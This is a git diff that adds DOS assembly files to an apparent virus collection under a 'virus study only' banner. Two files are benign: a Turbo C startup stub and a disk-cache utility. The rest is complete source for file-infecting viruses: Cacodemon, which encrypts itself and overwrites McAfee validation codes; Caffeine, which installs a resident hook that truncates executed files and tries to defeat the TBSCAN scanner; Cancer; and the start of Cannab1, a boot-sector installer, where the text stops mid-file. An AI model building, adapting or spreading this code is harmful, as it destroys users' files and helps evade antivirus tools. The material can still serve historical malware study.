Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; diff --git a/c/C0T.ASM b/c/C0T.ASM new file mode 100755 index 0000000..88d7265 --- /dev/null +++ b/c/C0T.ASM @@ -0,0 +1,26 @@ +; 'Extra-Tiny' memory model startup code for Turbo C 2.0 +; +; This makes smaller executable images from C programs, by +; removing code to get command line arguments and the like. +; Compile with Tiny model flag, do not use any standard I/O +; library functions, such as puts() or int86(). +; +; This code courtesey PC Magazine, December 26, 1989. +; But nobody really needs to know that. + + +_text segment byte public 'code' +_text ends +_data segment word public 'data' +_data ends +_bss segment word public 'bss' +_bss ends + +dgroup group _text, _data, _bss + +_text segment + org 100h +begin: +_text ends + + end begin diff --git a/c/CACHE (31).ASM b/c/CACHE (31).ASM new file mode 100755 index 0000000..84bd8c6 --- /dev/null +++ b/c/CACHE (31).ASM @@ -0,0 +1,255 @@ +INTERRUPTS SEGMENT AT 0H ;This is where the disk interrupt + ORG 13H*4 ;holds the address of its service routine +DISK_INT LABEL DWORD +INTERRUPTS ENDS + +CODE_SEG SEGMENT + ASSUME CS:CODE_SEG + ORG 100H ;ORG = 100H to make this into a .COM file +FIRST: JMP LOAD_CACHE ;First time through jump to initialize routine + + CPY_RGT DB '(C)1985 S.Holzner' ;A signature in bytes + TBL_LEN DW 64 ;<-- # OF SECTORS TO STORE IN CACHE, MIN=24, MAX=124. + ;THIS IS THE ONLY PLACE YOU MUST SET THIS NUMBER. EACH SECTOR = 512 BYTES. + TIME DW 0 ;Time used to time-stamp each sector + OLD_CX DW 0 ;Stores original value of CX (CX is used often) + LOW_TIM DW 0 ;Used in searching for least recently used sect. + INT13H DD 0 ;Stores the original INT 13H address + RET_ADR LABEL DWORD ;Playing games with the stack here to preserve + RET_ADR_WORD DW 2 DUP(0) ;flags returned by Int 13H + +DISK_CACHE PROC FAR ;The Disk interrupt will now come here. + ASSUME CS:CODE_SEG + CMP AX,201H ;Is this a read (AH=2) of 1 sector (AL=1)? + JE READ ;Yes, jump to Read + CMP AH,3 ;No. Perchance a write or format? + JB OLD_INT ;No, release control to old disk Int. + JMP WRITE ;Yes, jump to Write +OLD_INT:PUSHF ;Pushf for Int 13H's final Iret + CALL INT13H ;Call the Disk Int + JMP PAST ;And jump past all usual Pops +READ: PUSH BX ;Push just about every register ever heard of + PUSH CX + PUSH DX + PUSH DI + PUSH SI + PUSH DS + PUSH ES + MOV DI,BX ;Int 13H gets data address as ES:BX, switch to ES:DI + ASSUME DS:CODE_SEG ;Make sure all labels found correctly + PUSH CS ;Move CS into DS by pushing CS, popping DS + POP DS + MOV OLD_CX,CX ;Save original CX since we're about to use it + CMP DH,0 ;DH holds requested head -- head 0? + JNE NOT_FAT1 ;Nope, this can't be the first Fat sector + CMP CX,6 ;If this is the directory, check if we have a + JE FAT1 ; new disk. + CMP CX,2 ;Track 0 (CH)? Sector 2 (CL)? + JNE NOT_FAT1 ;If not, this sure isn't the FAT1 +FAT1: CALL FIND_MATCH ;DOS reads in this sector first to check disk format + JCXZ NONE ;We'll use it for a check-sum. Do we have it + MOV BX,DI ; stored yet? CX=0-->no. If yes, restore BX + MOV CX,OLD_CX ; and CX from original values + PUSHF ;And now do the Pushf and call of Int13H to read + CALL INT13H ; FAT1 + JC ERR ;If error, leave + MOV CX,256 ;No error, FAT1 was read, check our value +REPE CMPSW ; with CMPSW -- if no match, disk was changed + JCXZ BYE ;Everything checks out, Bingo, exit. + LEA SI,TABLE ;New Disk! Zero all the old disk's sectors + MOV CX,TBL_LEN ;Loop over all entries, DL holds drive # +CLR: CMP DS:[SI+2],DL ;Is this stored sector from the old disk? + JNE NO_CLR ;Nope, don't clear this entry + MOV WORD PTR DS:[SI],0 ;Match, zero this entry, zero first word +NO_CLR: ADD SI,518 ;Move on to next stored sector (512 bytes of stored + LOOP CLR ; sector and 3 words of identification & time-stamp) + JMP BYE ;Reset for new disk, let's leave +NONE: CALL STORE_SECTOR ;Store FAT1 if there was no match to it + JC ERR ;Error -- exit ungraciously + JMP BYE ;No Error, Bye. +NOT_FAT1: ;The requested sector was not FAT1. Let's + CALL FIND_MATCH ;get it. Or do we have it already? + JCXZ NO_MATCH ;No, jump to No_Match, store sector + MOV CX,512 ;ES:DI and DS:SI already set up from Find_Match +REP MOVSB ;Move 512 bytes to requested memory area + CMP WORD PTR [BX+4],0FFFFH ;Is this a a directory sector? + JE BYE ;Yes, don't reset time (already highest poss.) + INC TIME ;No, reset the time, this sector just accessed + MOV AX,TIME ;Move time into Time word of sector's 3 words + MOV [BX+4],AX ; of identification + JMP BYE ;And leave. If there's an article you'd like to +NO_MATCH: ;see, by all means write in C/O PC Magazine. + CALL STORE_SECTOR ;Don't have this sector yet, get it. + JC ERR ;If read failed, exit with error +BYE: CLC ;The exit point. Clear carry flag, set AX=1 + MOV AX,1 ; CY=0 --> no error, AH=0 --> error code = 0 +ERR: POP ES ;If error, preserve flags and AX with error code + POP DS ;Pop all conceivable registers (except AX) + POP SI + POP DI + POP DX + POP CX ;Now that the flags are set, we want to get the + POP BX ;old flags off the stack (put there by original +PAST: POP CS:RET_ADR_WORD ;Int call) To do that we save the return address + POP CS:RET_ADR_WORD[2] ;first and then pop the flags harmlessly + POP CS:OLD_CX ;into Old_CX, and then jump to RET_ADR. + JMP CS:RET_ADR ;Done with read. Now let's consider write. +WRITE: PUSH BX ;Push all registers, past and present + PUSH CX + PUSH DX + PUSH DI + PUSH SI + PUSH DS + PUSH ES + PUSH AX + CMP AX,301H ;Is this a write of one sector? + JNE NOSAVE ;No, don't save it in the sector bank + PUSH CS ;Yep, set DS (for call to Int13H label) and + POP DS ; write this sector out + PUSHF + CALL INT13H + JNC SAVE ;If there was an error we don't want to save sector + POP CS:OLD_CX ;Save AH error code, Pop old AX into Old_CX + JMP ERR ;And jump to an ignoble exit +SAVE: MOV OLD_CX,CX ;We're going to save this sector. + MOV DI,BX ;Set up DI for string move (to store written + CALL FIND_MATCH ; sector. Do we have it in memory? (set SI) + JCXZ LEAVE ;Nope, Leave (like above's Bye). + XCHG DI,SI ;Exchange destination and source + PUSH ES ;Set up DS:SI to point to where data written + POP DS ; from. We'll then use a string move + PUSH CS ;Set up ES so ES:DI points to sector bank + POP ES ; SI was set by Find_Match, Xchg'd into DI + MOV CX,512 ;Get ready to move 512 bytes +REP MOVSB ;Here we go +LEAVE: POP AX ;Here is the leave + JMP BYE ;Which only pops AX and then jumps to Bye +NOSAVE: PUSH CS ;More than 1 sector written, don't save but + POP DS ; do zero stored sectors that will be written + MOV AH,0 ;Use AX as loop index (AL=# of sectors to write) +TOP: PUSH CX ;Save CX since destroyed by Find_Match + CALL FIND_MATCH ;Do we have this one? + JCXZ NOPE ;Nope if CX = 0 + MOV WORD PTR [BX],0 ;There is a match, zero this sector +NOPE: POP CX ;Restore CX, the sector index + INC CL ;Move on to next one + DEC AX ;Decrement loop index + JNZ TOP ;And, unless that gives 0, go back again +POPS: POP AX ;Pop 'em all, starting with AX + POP ES + POP DS + POP SI + POP DI + POP DX + POP CX + POP BX + JMP OLD_INT ;And go back to OLD_INT for write. +DISK_CACHE ENDP + +FIND_MATCH PROC NEAR ;This routine finds a sector in the sector bank + PUSH AX ;And returns SI set to sector's entry, BX set + LEA SI,SECTORS ; to the beginning of the 'table' -- the 3 words + LEA BX,TABLE ;that precede all sectors. If there was no match + MOV AX,TBL_LEN ; CX=0. When Int13H called, CH=trk #, CL=sec. # + XCHG AX,CX ; DH=head #, DL=Drive #. Get Tbl_Len into CX +FIND: CMP DS:[BX],AX ;Compare stored sector's original AX to current + JNE NO ;If not, not. + CMP DS:[BX+2],DX ;If so, check DX of stored sector with current + JE GOT_IT ;Yes, there is a match, leave +NO: ADD BX,518 ;Point to next Table entry + ADD SI,518 ;And next sector too + LOOP FIND ;Keep looping until there is a match +GOT_IT: POP AX ;If there is no match, CX will be left 0 + RET ;Return +FIND_MATCH ENDP + +STORE_SECTOR PROC NEAR ;This routine, as it says, stores sectors + MOV BX,DI ;Original BX (ES:BX was original data address) + MOV CX,OLD_CX ; and CX restored (CX=trk#, Sector#) + PUSHF ;Pushf for Int 13H's Iret and call it + CALL INT13H + JNC ALL_OK ;If there was an exit, exit ignominiously + JMP FIN ;If error, leave CY flag set, code in AH, exit +ALL_OK: PUSH CX ;No error, push used registers + PUSH BX ; and find space for sector in sector bank + PUSH DX + LEA DI,SECTORS ;Point to sector bank + LEA BX,TABLE ; and Table + MOV CX,TBL_LEN ; and get ready to loop over all of them to +CHK0: CMP WORD PTR DS:[BX],0 ;find if there is an unused sector + JE FOUND ;If the first word is 0, use this sector + ADD DI,518 ;But this one isn't so update DI, SI and + ADD BX,518 ; loop again + LOOP CHK0 + MOV LOW_TIM,0FFFEH ;All sectors were filled, find least recently + LEA DI,SECTORS ; used and write over that one + LEA SI,TABLE + MOV CX,TBL_LEN ;Loop over all stored sectors +CHKTIM: MOV DX,LOW_TIM ;Compare stored sector to so-far low time + CMP [SI+4],DX + JA MORE_RECENT ;If this one is more recent, don't use it + MOV AX,DI ;This one is older than previous oldest + MOV BX,SI ;Store sector bank address (DI) and table + MOV DX,[SI+4] ; entry (now in SI) + MOV LOW_TIM,DX ;And update the Low Time to this one +MORE_RECENT: + ADD DI,518 ;Move on to next stored sector + ADD SI,518 ;And next table entry + LOOP CHKTIM ;Loop again until all covered + MOV DI,AX ;Get Sector bank address of oldest into DI +FOUND: POP DX ;Restore used registers + POP SI ;Old BX (data read-to-address) --> SI + POP CX + MOV [BX],CX ;Store the new CX as the sector's first word + MOV [BX+2],DX ;2nd word of Table is sector's DX + INC TIME ;Now find the new time + MOV AX,TIME ;Prepare to move it into 3rd word of Table + CMP DH,0 ;Is this directory or FAT? (time-->FFFF) + JNE SIDE1 ;If head is not 0, check other head + CMP CX,9 ;Head zero, trk# 0, first sector? (directory) + JLE DIR ;Yes, this is a piece we always want stored + JMP NOT_DIR ;No, definitely not FAT or directory +SIDE1: CMP DH,1 ;Head 1? + JNE NOT_DIR ;No, this is not File Alloc. Table or directory + CMP CX,2 ;Part of the top of the directory? + JA NOT_DIR ;No, go to Not_Dir and set time +DIR: MOV AX,0FFFFH ;Dir or FAT, set time high so always kept +NOT_DIR:MOV [BX+4],AX ;Not FAT or dir, store the incremented time + PUSH ES ;And now get the data to fill the sector + POP DS ;SI, DI already set. Now set ES and DS for + PUSH CS ; string move. + POP ES + MOV CX,512 ;Move 512 bytes +REP MOVSB ;Right here + CLC ;Clear the carry flag (no error) +FIN: RET ;Error exit here (do not reset CY flag) +STORE_SECTOR ENDP +TABLE: DW 3 DUP(0) ;Table and sector storage begins right here +SECTORS: ;First thing to write over is the following + ; booster program. +LOAD_CACHE PROC NEAR ;This procedure intializes everything + LEA BX,CLEAR + ASSUME DS:INTERRUPTS ;The data segment will be the Interrupt area + MOV AX,INTERRUPTS + MOV DS,AX + MOV AX,word ptr DISK_INT ;Get the old interrupt service routine + MOV word ptr INT13H,AX ; address and put it into our location MOV AX,word ptr DISK_INT[2] + ; INT13H so we can call it. + MOV word ptr INT13H[2],AX + MOV word ptr DISK_INT,OFFSET DISK_CACHE ;Now load address of Cache + MOV word ptr DISK_INT[2],CS ;routine into the Disk interrupt + MOV AX,TBL_LEN ;The number of sectors to store in cache + MOV CX,518 ;Multiply by 518 (3 words of id and 512 + MUL CX ; bytes of sector data) + MOV CX,AX ;Also, zero all the bytes so that +ZERO: MOV BYTE PTR CS:[BX],0 ; Store_Sector will find 1st word a 0, + INC BX ; indicating virgin territory. + LOOP ZERO + MOV DX,OFFSET TABLE ;To attach in memory, add # bytes to + ADD DX,AX ;store to Table's location and use + INT 27H ; Int 27H +LOAD_CACHE ENDP +CLEAR: + CODE_SEG ENDS + END FIRST ;END "FIRST" so 8088 will go to FIRST first. + \ No newline at end of file diff --git a/c/CACODMON.ASM b/c/CACODMON.ASM new file mode 100755 index 0000000..e672e11 --- /dev/null +++ b/c/CACODMON.ASM @@ -0,0 +1,336 @@ + Org 0h ; Generate .BIN file + +Start: Jmp MainVir ; Jump to decryptor code at EOF + + Db '*' ; Virus signature (very short) + +; +; Decryptor procedure +; + +MainVir: Call On1 ; Push offset on stack + +On1: Pop BP ; Calculate virus offset + Sub BP,Offset MainVir+3 ; + + Push Ax ; Save possible error code + + Lea Si,Crypt[BP] ; Decrypt the virus with a + Mov Di,Si ; very simple exclusive or + Mov Cx,CryptLen ; function. +Decrypt: Lodsb ; + Xor Al,0 ; + Stosb ; + Loop Decrypt ; + +DecrLen Equ $-MainVir ; Length of the decryptor + +; +; Main initialization procedure +; + +Crypt: Mov Ax,Cs:OrgPrg[BP] ; Store begin of host at + Mov Bx,Cs:OrgPrg[BP]+2 ; cs:100h (begin of com) + Mov Cs:Start+100h,Ax ; + Mov Cs:Start[2]+100h,Bx ; + + Xor Ax,Ax ; Get original interrupt 24 + Push Ax ; (critical error handler) + Pop Ds ; + Mov Bx,Ds:[4*24h] ; + Mov Es,Ds:[4*24h]+4 ; + + Mov Word Ptr Cs:OldInt24[Bp],Bx ; And store it on a save place + Mov Word Ptr Cs:OldInt24+2[Bp],Es ; + + Lea Bx,NewInt24[Bp] ; Install own critical error + Push Cs ; handler to avoid messages + Pop Es ; when a disk is write + Mov Word Ptr Ds:[4*24h],Bx ; protected and such things + Mov Word Ptr Ds:[4*24h]+2,Es ; + Push Cs ; + Pop Ds ; + + Mov Ah,30h ; Check if DOS version is + Int 21h ; 3.0 or above for correct + Cmp Al,3 ; interrupt use + Jae NoCLean ; + Jmp Ready + +NoClean: Mov Ah,1ah ; Store DTA at safe place + Mov Dx,0fd00h ; + Int 21h ; + + Mov Ah,4eh ; FindFirsFile Function + +Search: Lea Dx,FileSpec[BP] ; Search for filespec given + Xor Cx,Cx ; in FileSpec adress + Int 21h ; + Jnc Found ; Found - Found + Jmp Ready ; Not Found - Ready + +Found: Mov Ax,4300h ; Get file attributes and + Mov Dx,0fd1eh ; store them on the stack + Int 21h ; + Push Cx ; + + Mov Ax,4301h ; clear file attributes + Xor Cx,Cx ; + Int 21h ; + + Mov Ax,3d02h ; open file with read/write + Int 21h ; access + + Mov Bx,5700h ; save file date/time stamp + Xchg Ax,Bx ; on the stack + Int 21h ; + Push Cx ; + Push Dx ; + + Mov Ah,3fh ; read the first 4 bytes of + Lea Dx,OrgPrg[BP] ; the program onto OrgPrg + Mov Cx,4 ; + Int 21h ; + + Mov Ax,Cs:[OrgPrg][BP] ; Check if renamed exe-file + Cmp Ax,'ZM' ; + Je ExeFile ; + + Cmp Ax,'MZ' ; Check if renamed weird exe- + Je ExeFile ; file + + Mov Ah,Cs:[OrgPrg+3][BP] ; Check if already infected + Cmp Ah,'*' ; + Jne Infect ; + +ExeFile: Call Close ; If one of the checks is yes, + Mov Ah,4fh ; close file and search next + Jmp Search ; file + +FSeek: Xor Cx,Cx ; subroutine to jump to end + Xor Dx,Dx ; or begin of file + Int 21h ; + Ret ; + +Infect: Mov Ax,0fd1e[0] ; check if the file is + Cmp Ax,'OC' ; COMMAN?.COM (usually result + Jne NoCommand ; if COMMAND.COM) + Mov Ax,0fd1e[2] ; + Cmp Ax,'MM' ; + Jne NoCommand ; + Mov Ax,0fd1e[4] ; + Cmp Ax,'NA' ; + Jne NoCommand ; + + Mov Ax,4202h ; Jump to EOF + Call Fseek ; + + Cmp Ax,0f000h ; Check if file too large + Jae ExeFile + + Cmp Ax,VirS ; Check if file to short + jbe ExeFile + + Sub Ax,VirS + Xchg Cx,Dx + Mov Dx,4200h + Xchg Dx,Ax + Mov EOFminVir[BP],Dx + Int 21h + Mov Ah,3fh + Mov Dx,Offset Buffer + Mov Cx,VirS + Int 21h + Cld + Mov Si,Offset Buffer + Mov Cx,VirLen +On5: + Push Cx +On6: Lodsb + Cmp Al,0 + Jne On4 + Loop On6 +On4: Cmp Cx,0 + Je Found0 + + Pop Cx + Cmp Si,SeekLen + Jb On5 + Jmp NoCommand + +Found0: Pop Cx + Sub Si,Offset Buffer + Sub Si,Cx + Xor Cx,Cx + Mov Dx,EOFminVir[BP] + Add Dx,Si + + Mov Ax,4200h + Int 21h + Jmp CalcVirus + +EOFminVir Dw 0 + +NoCommand: Mov Ax,4202h ; jump to EOF + Call FSeek ; + + Cmp Ax,0f000h ; Check if file too large + Jb NoExe1 ; if yes, goto exefile + Jmp ExeFile ; + +NoExe1: Cmp Ax,10 ; Check if file too short + Ja NoExe2 ; if yes, goto exefile + Jmp ExeFile ; + + +NoExe2: Mov Cx,Dx ; calculate pointer to offset + Mov Dx,Ax ; EOF-52 (for McAfee validation + Sub Dx,52 ; codes) + + Mov Si,Cx ; move file pointer to the + Mov Di,Dx ; calculated address + Mov Ax,4200h ; + Int 21h ; + + Mov Ah,3fh ; read the last 52 bytes + Mov Dx,0fb00h ; of the file + Mov Cx,52 ; + Int 21h ; + + Cmp Ds:0Fb00h,0fdf0h ; check if protected with the + Jne Check2 ; AG option + Cmp Ds:0fb02h,0aac5h ; + Jne Check2 ; + + Mov Ax,4200h ; yes - let virus overwrite + Mov Cx,Si ; the code with itself, so + Mov Dx,Di ; the file has no validation + Int 21h ; code + Jmp CalcVirus ; + +Check2: Cmp Ds:0Fb00h+42,0fdf0h ; check if protected with the + Jne Eof ; AV option + Cmp Ds:0Fb02h+42,0aac5h ; + Jne Eof ; + + Mov Ax,4200h ; yes - let virus overwrite + Mov Cx,Si ; the code with itself, so + Mov Dx,Di ; the file has no validation + Add Dx,42 ; code + Int 21h ; + Jmp CalcVirus ; + +Eof: Mov Ax,4202h ; not AG or AV - jump to + Call Fseek ; EOF + +CalcVirus: Sub Ax,3 ; calculate the jump for the + Mov Cs:CallPtr[BP]+1,Ax ; virus start + +GetCrypt: Mov Ah,2ch ; get 100s seconds for the + Int 21h ; encryption value. + Cmp Dl,0 ; if not zero, goto NoZero + Jne NoZero ; + Jmp GetCrypt ; + +NoZero: Mov Cs:Decrypt+2[BP],Dl ; Store key into decryptor + + Lea Si,MainVir[BP] ; Move changed decryptor to + Mov Di,0fb00h ; a safe place in memory + Mov Cx,DecrLen ; + Rep Movsb ; + + Lea Si,Crypt[BP] ; Encrypt the virus and merge + Mov Cx,CryptLen ; it to the changed decryptor +Encrypt: Lodsb ; code + Xor Al,Dl ; + Stosb ; + Loop Encrypt ; + + Mov Ah,40h ; append virus at EOF or over + Lea Dx,0fb00h ; the validation code of + Mov Cx,VirLen ; McAfee + Int 21h ; + + Mov Ax,4200h ; Jump to BOF + Call FSeek ; + + Mov Ah,40h ; Write Jump at BOF + Lea Dx,CallPtr[BP] ; + Mov Cx,4 ; + Int 21h ; + + Call Close ; Jump to Close routine + +Ready: Mov Ah,1ah ; Restore DTA to normal + Mov Dx,80h ; offset + Int 21h ; + + Mov Ax,Cs:OldInt24[Bp] ; remove critical error + Mov Dx,Cs:OldInt24+2[Bp] ; handler and store the + Xor Bx,Bx ; original handler at the + Push Bx ; interrupt table + Pop Ds ; + Mov Ds:[4*24h],Dx ; + Mov Ds:[4*24h]+2,Ax ; + Push Cs ; + Pop Ds ; + + Pop Ax ; restore possible error code + + Mov Bx,100h ; nice way to jump to the + Push Cs ; begin of the original host + Push Bx ; code + Retf ; + + Db ' (C) 1992 John Tardy / Trident ' + +Close: Pop Si ; why??? + + Pop Dx ; restore file date/time + Pop Cx ; stamp + Mov Ax,5701h ; + Int 21h ; + + Mov Ah,3eh ; close file + Int 21h ; + + Mov Ax,4301h ; restore file attributes + Pop Cx ; + Mov Dx,0fd1eh ; + Int 21h ; + + Push Si ; why??? + Ret + +; Db 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' + Db ' Satan spawn, the Caco-Daemon - Mor(T)alities Death ' + +; +; New critical error handler +; + +NewInt24: Mov Al,3 ; supress any critical error + Iret ; messages + +OldInt24 Dd 0 ; storage place for old int 24 + +CallPtr Db 0e9h,0,0 ; jump to place at BOF + +FileSpec Db '*.COM',0 ; filespec and infection marker + +OrgPrg: Int 20h ; original program + Db 'JT' ; + +CryptLen Equ $-Crypt ; encrypted part length + +VirLen Equ $-MainVir ; total virus length + +Buffer Equ 0f040h ; buffer offset +VirS Equ VirLen*2 + +SeekLen Equ Buffer+Virs + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; diff --git a/c/CAFFEIN.ASM b/c/CAFFEIN.ASM new file mode 100755 index 0000000..37b9189 --- /dev/null +++ b/c/CAFFEIN.ASM @@ -0,0 +1,213 @@ +; ------------------------------------------------------------------------------ +; +; - Caffein - +; Created by Immortal Riot's destructive development team +; (c) 1994 The Unforgiven/Immortal Riot +; +; ------------------------------------------------------------------------------ +; Undetectable/Destructive COM-infector +; ------------------------------------------------------------------------------ +.model tiny +.code +org 100h + +v_start: + +firstgenbuffer db 0e9h,00h,00h + +virus_start: + + mov bp,0000h ; get delta offset + + call trick_tbscan ; + call decrypt ; decrypt virus + jmp short real_start ; and continue.. + +trick_tbscan: + + mov ax,0305h ; set keyb i/o + xor bx,bx ; too beat the + int 16h ; shit outta tbscan + ret + +write_virus: + + call encrypt ; write in encrypted mode + lea dx,[bp+virus_start] ; from start to virus end + mov cx,virus_end-virus_start ; bytes to write + mov ah,40h ; 40hex! + int 21h + call decrypt ; decrypt virus again + ret + + crypt_value dw 0 + +decrypt: +encrypt: + + mov dx,word ptr [bp+crypt_value] ; simple xor-encryption + lea si,[bp+real_start] ; routine included to + mov cx,(virus_end-virus_start+1)/2 ; avoid detection by scanners. + +xor_word: + + xor word ptr [si],dx ; encrypt all of the code! + inc si + inc si + loop xor_word + ret + +real_start: + + mov di,100h ; transer the first three + lea si,[bp+orgbuf] ; bytes into a buffer + movsw + movsb + + lea dx,[bp+new_dta] ; set's the dta... + mov ah,1ah + int 21h + + mov ah,4eh ; find first file + +commm: lea dx,[bp+com_files] +next: int 21h + jnc foundfile + jmp chk_cond + +foundfile: + + mov ax,word ptr [bp+new_dta+16h] ; ask file-time + and al,00011111b + cmp al,00000010b ; compare second-value + jne infect ; not equal - infect! + + mov ah,4fh ; otherwise, search + jmp short commm ; next file in directory + +infect: + + lea dx,[bp+new_dta+1eh] ; clear file-attribute + xor cx,cx + mov ax,4301h + int 21h + + mov ax,3d02h ; open file + int 21h ; in read/write mode + + xchg ax,bx ; file handle in bx + + mov ah,3fh ; read 3 bytes + mov cx,3 ; from orgbuf + lea dx,[bp+orgbuf] + int 21h + + mov ax,4202h ; move file-pointer + xor cx,cx ; to end of file + cwd + int 21h + + cmp ax,666d ; check if file is + jb too_small ; too small + + cmp ax,64000d ; or too big + ja too_big ; to infect + + sub ax,3 + mov word ptr [bp+virus_start+1],ax ; create a new jump + mov word ptr [bp+newbuf+1],ax + + mov ah,2ch ; get random + int 21h ; value to use + mov word ptr [bp+crypt_value],dx ; as the xor + call write_virus ; value + + mov ax,4200h ; move file-pointer + xor cx,cx ; to tof of file + cwd + int 21h + + mov ah,40h ; write the new jump + lea dx,[bp+newbuf] ; + mov cx,3 + int 21h + +too_small: +too_big: + + mov dx,word ptr [bp+new_dta+18h] ; restore file's date + mov cx,word ptr [bp+new_dta+16h] ; and time and + and cl,11100000b ; mark the file + or cl,00000010b ; as infected + mov ax,5701h + int 21h + + mov ah,3eh ; close file + int 21h + + lea dx,[bp+new_dta+1eh] ; and put back + xor ch,ch ; the file-attributes + mov cl,byte ptr [bp+new_dta+15h] + mov ax,4301h + int 21h + +nextfile: + + mov ah,4fh ; seek next file + jmp next + +chk_cond: + + mov ah,2ch ; check if we should + int 21h ; make the pay-load + cmp dl,4d ; activate + jb resident + jmp short reset_dta + +newint21h proc far ; this code is memory resident + + cmp ax,4b00h ; check for execute + je create ; matched + jmp cs:oldint21h ; naaw +create: + mov ah,3ch ; truncate the file executed + int 21h ; and give it full-attribute + int 20h ; and just exit to dos + +newint21h endp + +in_mem: +resident: + + mov ax,3521h ; get original vector from + int 21h ; es:bx to int21h + + mov word ptr cs:oldint21h,bx + mov word ptr cs:oldint21h+2,es + + mov ax,2521h ; set a new interrupt vector + lea dx,[bp+offset newint21h] ; for int21h to ds:dx + int 21h + + lea dx,[bp+offset in_mem] ; and load it resident + int 27h + int 20h ; and exit + +reset_dta: + + mov dx,80h ; puts back the dta to normal + mov ah,1ah + int 21h + + mov ax,100h + jmp ax + +signature db "[Caffeine] (c) 1994 The Unforgiven/Immortal Riot" +com_files db '*.com',0 +orgbuf db 0cdh,20h,90h ; buffer to save first 3 bytes +newbuf db 0e9h,00h,00h ; buffer to calculate new entry +oldint21h dd 0 + +virus_end: +new_dta: +end v_start diff --git a/c/CANCER.ASM b/c/CANCER.ASM new file mode 100755 index 0000000..1168680 --- /dev/null +++ b/c/CANCER.ASM @@ -0,0 +1,128 @@ + page ,132 + name CANCER + title Cancer - a mutation of the V-847 virus + .radix 16 +code segment + assume cs:code,ds:code + org 100 + +olddta equ 80 +virlen equ offset endcode - offset start +smalcod equ offset endcode - offset transf +buffer equ offset endcode + 100 +newdta equ offset endcode + 10 +fname = newdta + 1E +virlenx = offset endcode - offset start + +start: + jmp cancer + +ident dw 'VI' +counter db 0 +allcom db '*.COM',0 +vleng db virlen +n_10D db 3 ;Unused +progbeg dd ? +eof dw ? +handle dw ? + +cancer: + mov ax,cs ;Move program code + add ax,1000 ; 64K bytes forward + mov es,ax + inc [counter] + mov si,offset start + xor di,di + mov cx,virlen + rep movsb + + mov dx,newdta ;Set new Disk Transfer Address + mov ah,1A ;Set DTA + int 21 + mov dx,offset allcom ;Search for '*.COM' files + mov cx,110b ;Normal, Hidden or System + mov ah,4E ;Find First file + int 21 + jc done ;Quit if none found + +mainlp: + mov dx,offset fname + mov ax,3D02 ;Open file in Read/Write mode + int 21 + mov [handle],ax ;Save handle + mov bx,ax + push es + pop ds + mov dx,buffer + mov cx,0FFFF ;Read all bytes + mov ah,3F ;Read from handle + int 21 ;Bytes read in AX + add ax,buffer + mov cs:[eof],ax ;Save pointer to the end of file + + xor cx,cx ;Go to file beginning + mov dx,cx + mov bx,cs:[handle] + mov ax,4200 ;LSEEK from the beginning of the file + int 21 + jc close ;Leave this file if error occures + + mov dx,0 ;Write the whole code (virus+file) + mov cx,cs:[eof] ; back onto the file + mov bx,cs:[handle] + mov ah,40 ;Write to handle + int 21 + +close: + mov bx,cs:[handle] + mov ah,3E ;Close the file + int 21 + + push cs + pop ds ;Restore DS + mov ah,4F ;Find next matching file + mov dx,newdta + int 21 + jc done ;Exit if all found + jmp mainlp ;Otherwise loop again + +done: + mov dx,olddta ;Restore old Disk Transfer Address + mov ah,1A ;Set DTA + int 21 + + mov si,offset transf ;Move this part of code + mov cx,smalcod ;Code length + xor di,di ;Move to ES:0 + rep movsb ;Do it + + xor di,di ;Clear DI + mov word ptr cs:[progbeg],0 + mov word ptr cs:[progbeg+2],es ;Point progbeg at program start + jmp cs:[progbeg] ;Jump at program start + +transf: + push ds + pop es + mov si,buffer+100 + cmp [counter],1 + jne skip + sub si,200 +skip: + mov di,offset start + mov cx,0FFFF ;Restore original program's code + sub cx,si + rep movsb + mov word ptr cs:[start],offset start + mov word ptr cs:[start+2],ds + jmp dword ptr cs:[start] ;Jump to program start +endcode label byte + + int 20 ;Dummy program + int 20 ;??? + + db 0 ;Unused + +code ends + end start + \ No newline at end of file diff --git a/c/CANNAB1.ASM b/c/CANNAB1.ASM new file mode 100755 index 0000000..99c98ba --- /dev/null +++ b/c/CANNAB1.ASM @@ -0,0 +1,231 @@ + +PAGE 59,132 + +; +; +; CANNAB1 +; +; Created: 4-Oct-91 +; Passes: 5 Analysis Options on: none +; +; + +data_3e equ 43Fh +data_8e equ 5Ch +data_17e equ 46Ch ;* +data_18e equ 7C00h ;* +data_19e equ 7C0Bh ;* +data_20e equ 7D31h ;* +data_21e equ 7D35h ;* +data_22e equ 7D73h ;* +data_23e equ 7E00h ;* +data_24e equ 7E0Bh ;* + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +cannab1 proc far + +start: + mov dx,13Dh + dec byte ptr ds:data_8e + js loc_2 ; Jump if sign=1 + mov dx,155h + call sub_1 + xor ah,ah ; Zero register + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + and al,0DFh + cmp al,59h ; 'Y' + jne loc_ret_3 ; Jump if not equal + mov dl,0 + mov ah,0 + int 13h ; Disk dl=drive a ah=func 00h + ; reset disk, al=return status + jc loc_1 ; Jump if carry Set + mov dx,1E6h + call sub_1 + mov cx,1 + mov bx,offset data_12 + mov ax,301h + cwd ; Word to double word + int 13h ; Disk dl=drive a ah=func 03h + ; write sectors from mem es:bx + ; al=#,ch=cyl,cl=sectr,dh=head + jnc loc_ret_3 ; Jump if carry=0 +loc_1: + mov dx,offset data_9+0B7h ; ('') + +cannab1 endp + +; +; SUBROUTINE +; + +sub_1 proc near +loc_2: + mov ah,9 + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + +loc_ret_3: + retn +sub_1 endp + +data_9 db 'Usage: A:', 0Dh, 0Ah + db '$' + db 'You are about to install a VIRUS' + db ' on your diskette!!!', 0Dh, 0Ah, 'I' + db 'nsert a formatted 360K diskette ' + db 'into the drive.', 0Dh, 0Ah, 'Are' + db ' you sure you 